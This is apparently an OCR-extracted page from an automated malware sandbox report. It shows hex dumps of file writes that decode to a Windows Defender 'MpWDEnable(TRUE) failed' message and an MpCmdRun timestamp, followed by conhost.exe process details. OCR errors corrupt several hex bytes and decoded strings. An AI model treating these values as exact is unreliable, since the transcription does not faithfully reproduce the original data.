00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 28
00 54 00 52 00 55 00
45 00 29 00 20 00 66
00 61 00 69 00 6¢ 00
65 00 64 00 20 00 28
00 38 00 30 00 30 00
37 00 30 00 34 00 45
0043 00 29 00 0d 00
0a 00

4d 00 70 00 43 00 6d
00 64 00 52 00 75 00
6e 00 3a 00 20 00 45
00 6e 00 64 00 20 00
54 00 69 00 6d 00 65
00 3a 00 20 00 Oe 20
54 00 68 00 75 00 20
00 Oe 20 4a 00 61 00
6e 00 20 00 Oe 20 30
00 37 00 20 00 Oe 20
320030003200 31
0020 003100 31 00
3a 00 3500 34 00 3a
00 33 00 30 00 0d 00
0a 00

2d 00 2d 00 2d 00 2d

00 2d 00 2d 00 2d 00 .
2d 00 2d 00 2d 00 2d .
00 2d 00 2d 00 2d 00 .
2d 00 2d 00 2d 00 2d .

00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 2d 00 2d 00 2d
00 2d 00 2d 00 2d 00
2d 00 0d 00 Oa 00

Source

Ascii Completion Count Address Symbol

E.R.R.O.R...
.M.p.W.D.E.n.a.b.l.e.
(T.R.UE). failed..
(.8.0.0.7.0.4.E.C.).....

success or wait 1 7FF70E84BC96 WriteFile

M.p.C.m.d.R.u.n... .E.n.d. success or wait 1 7FF70E84BC96 WriteFile
.T.im.e....T.h.u. .. Jan..
.0.7...2.02.1. .1.1.:.5.4.

1.3.0.....

-.-.- success or wait 1 7FF70E84BC96 WriteFile

Analysis Process: conhost.exe PID: 7084 Parent PID: 7072

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Disassembly

Copyright null 2021

11:54:30

07/01/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6b2800000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

false

C, C++ or other language

Page 69 of 70



Code Analysis
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